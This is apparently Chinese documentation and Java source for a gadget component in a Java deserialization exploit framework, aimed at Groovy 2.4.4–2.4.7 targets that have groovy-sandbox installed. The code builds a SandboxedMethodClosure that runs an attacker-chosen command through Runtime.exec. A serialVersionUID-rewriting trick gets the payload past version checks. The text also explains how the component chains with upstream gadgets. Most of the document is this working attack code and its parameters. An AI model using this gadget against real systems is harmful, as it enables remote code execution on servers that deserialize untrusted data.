- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.codehaus.groovy:groovy:2.4.4-2.4.7、org.kohsuke:groovy-sandbox
ClosureWithRuntime 的沙箱兼容变体。用 org.kohsuke.groovy.sandbox.impl.SandboxedMethodClosure 替代 MethodClosure,目标为命令字符串 + "execute",用于 Groovy 2.4.4~2.4.7 且目标依赖 groovy-sandbox 的环境;同时通过 suidReplace 机制在序列化时改写 MethodClosure 的 serialVersionUID,解决 2.4.3 → 2.4.4+ 之间 SUID 变化导致的 InvalidClassException。
- 入口
tags:ClosureWithRuntimeChain—— 与非沙箱版共用同一入口标签,承接Groovy等上游。 - 入口
tags:NotForHessian—— 不适用于 Hessian 场景。 - 入口
tags:END—— 链尾 sink。 - 衔接
nextTags:无。excludes:无。
private static final String SUID_243 = "-8137949907733646644";
private static final String SUID_244_PLUS = "-2491254866810955844";
private static final String SANDBOX_CLOSURE = "org.kohsuke.groovy.sandbox.impl.SandboxedMethodClosure";
@Param(name="命令") public String cmd = "calc";
@Param(name="SUID替换", description="MethodClosure SUID 兼容", requires=false, type=ParamType.Choice, ...)
public String suidReplace = "-8137949907733646644|-2491254866810955844";
public Object getObject() throws Exception {
return createSandboxedMethodClosure(this.cmd, "execute");
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.applySuidReplace(context);
return this.getObject();
}
private static Object createSandboxedMethodClosure(Object target, String method) throws Exception {
try {
Constructor<?> ctor = Reflections.getConstructor(SANDBOX_CLOSURE, new Class[]{Object.class, String.class});
return ctor.newInstance(target, method);
} catch (Exception e) {
ThrowsUtil.throwGadgetException("Missing groovy-sandbox dependency: ...SandboxedMethodClosure");
return null;
}
}SandboxedMethodClosure 是 groovy-sandbox 提供的 MethodClosure 子类,本类用反射(Reflections.getConstructor)以 (Object target, String method) 构造它,避免对 sandbox 类的编译期依赖;缺依赖时抛出明确异常。触发语义与 MethodClosure 一致:闭包 call() 无参调用 cmd.execute() → Runtime.exec。选择该子类是因为在装了 groovy-sandbox 的目标里它同样在类路径上、且其序列化形态更贴合真实业务环境。
SUID 兼容机制 applySuidReplace:
private void applySuidReplace(GadgetContext context) {
if (suidReplace == null || suidReplace.trim().isEmpty()) return;
String existing = context.getString(ContextTag.SUID_REPLACE);
if (existing == null || existing.trim().isEmpty() || "null".equalsIgnoreCase(existing.trim()))
context.put(ContextTag.SUID_REPLACE, suidReplace.trim());
else
context.put(ContextTag.SUID_REPLACE, existing + ";" + suidReplace.trim());
}它把形如 旧SUID|新SUID(-8137949907733646644|-2491254866810955844,即 2.4.3 → 2.4.4+)的替换规则写入 GadgetContext 的 SUID_REPLACE 标签,多条规则以 ; 追加。序列化阶段由框架读取该上下文,在写出的字节流中把 MethodClosure 类描述符里的 serialVersionUID 从旧值改写为目标环境的新值,从而让 2.4.3 构造出的 payload 能被 2.4.4~2.4.7 成功反序列化,绕过 InvalidClassException。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 待执行命令(SandboxedMethodClosure owner,经 String.execute() 运行) |
calc |
自由文本 |
suidReplace |
SUID替换 | 写入 ContextTag.SUID_REPLACE 的 SUID 改写规则 `旧 |
新`;留空则禁用 | -8137949907733646644|-2491254866810955844 |
- 面向
org.codehaus.groovy:groovy:2.4.4-2.4.7且存在org.kohsuke:groovy-sandbox的目标。 - 核心价值有二:用类路径上确实存在的
SandboxedMethodClosure子类提高兼容性;用SUID_REPLACE抹平跨小版本的MethodClosureSUID 差异。 - 若目标为纯 2.4.3,用非沙箱的 ClosureWithRuntime 即可。
- 自由构件,未直接出现在预设链(
usedInChains为空)。
- 上游(产出
ClosureWithRuntimeChain):Groovy、Groovy2GString、GroovyGString。 - 非沙箱版本:ClosureWithRuntime。
- 同族沙箱 sink:ClosureWithJNDISandboxed。